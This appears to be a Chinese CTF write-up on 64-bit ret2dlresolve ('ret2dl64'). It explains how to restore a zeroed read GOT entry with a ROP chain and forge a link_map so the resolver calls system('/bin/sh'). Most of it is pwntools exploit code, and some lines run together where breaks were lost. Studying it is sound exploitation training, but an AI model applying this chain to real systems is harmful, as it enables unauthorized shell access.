ret2dl64

ret2dl64 与ret2dl32不同,ret2dl64需要知道libc。

检查保护:

IDA看一看

read_got 被置为0,强制你使用ret2dlresolve。

我们先伪造link_map,然后让程序去执行我们伪造的link_map,执行system('/bin/sh')。

首先我们需要恢复read函数的got表,方法就是布置好参数跳转到plt0重新解析read函数。

bin_sh =  fake_link_map_addr + 0x78

payload = fake_link_map
payload = payload.ljust(0x118,'\x00')
payload += p64(pop_rdi_ret)+p64(0)+p64(pop_rsi_r15_ret)+p64(0x0600E10)+p64(0)+p64(0x400406) #恢复read_got的内容
payload += p64(pop_rdi_ret) + p64(bin_sh)+p64(ret)+ p64(plt_load) + p64(fake_link_map_addr) + p64(0)#通过fake_link_map调用system('/bin/sh')

我们再来看看fake_link_map

l_addr = libc.sym['system'] - libc.sym['read']
r_offset = buf - l_addr #保证buf为可读可写就可以了 #负数需要补码
if l_addr < 0:
l_addr = l_addr + 0x10000000000000000 fake_link_map_addr = buf
fake_dyn_strtab_addr = fake_link_map_addr + 0x8
fake_dyn_symtab_addr = fake_link_map_addr + 0x18
fake_dyn_rel_addr = fake_link_map_addr + 0x28 fake_link_map = p64(l_addr)
fake_link_map += p64(0) + p64(dynstr) #fake_dyn_strtab : fake_link_map_addr + 0x8
fake_link_map += p64(0) + p64(read_got - 0x8) #fake_dyn_symtab : fake_link_map_addr + 0x18
fake_link_map += p64(0) + p64(fake_link_map_addr + 0x38) #fake_dyn_rel : fake_link_map_addr + 0x28
fake_link_map += p64(r_offset) + p64(0x7) + p64(0) #fake_rel : fake_link_map_addr + 0x38
fake_link_map = fake_link_map.ljust(0x68,'\x00') fake_link_map += p64(fake_dyn_strtab_addr)#dyn_strtab的指针
fake_link_map += p64(fake_dyn_symtab_addr) #dyn_strsym的指针 : fake_link_map_addr + 0x70
fake_link_map += '/bin/sh\x00' #fake_link_map_addr + 0x78
fake_link_map = fake_link_map.ljust(0xF8,'\x00')
fake_link_map += p64(fake_dyn_rel_addr)#在fake_link_map_addr + 0xF8处,是rel.plt指针

最新文章

  1. net-force.nl/steganography writeup
  2. REVERSE
  3. 弱键(Weak Key, ACM/ICPC Seoul 2004, UVa1618)
  4. DML操作对索引的影响
  5. SQL Server int类型值最大2147483647(2^31 - 1)
  6. window.external.notify() 与 UglifyJS 压缩优化冲突
  7. 中文输入法在vs2010中失效解决方案
  8. Quartz1.8.5例子(九)
  9. android 签名被篡改(Keystore was tampered with, or password was incorrect)
  10. java.util.concurrent BlockingQueue
  11. Linux编程学习笔记(二)
  12. Spring 注解 @Scheduled(cron = &quot;0 0/10 * * * ? &quot;) 动态改变时间
  13. redis和memcache的区别(总结)
  14. linux配置防火墙
  15. 通过mapreduce把mysql的数据读取到hdfs
  16. input 文本框,对中文长度校验
  17. Vue.js绑定内联样式
  18. Eigen教程(8)
  19. js跨域请求数据的3种常用的方法
  20. RPC框架之Thrift分析(转)

热门文章

  1. 直播预告 | 全面的审计分析和权限管控——CloudQuery年终发布!
  2. Elasticsearch 及其套件的安装上手
  3. 类关系与uml图示表示
  4. close() 和fluse()区别
  5. oracle ora-01114 IO error writing block to file 207 (block # )
  6. 从HashMap面试聊聊互联网内卷
  7. Java流程控制:选择结构
  8. Markdown(3)Typora快捷键
  9. 华硕主板开机无法进入BIOS
  10. 一文了解python的 @property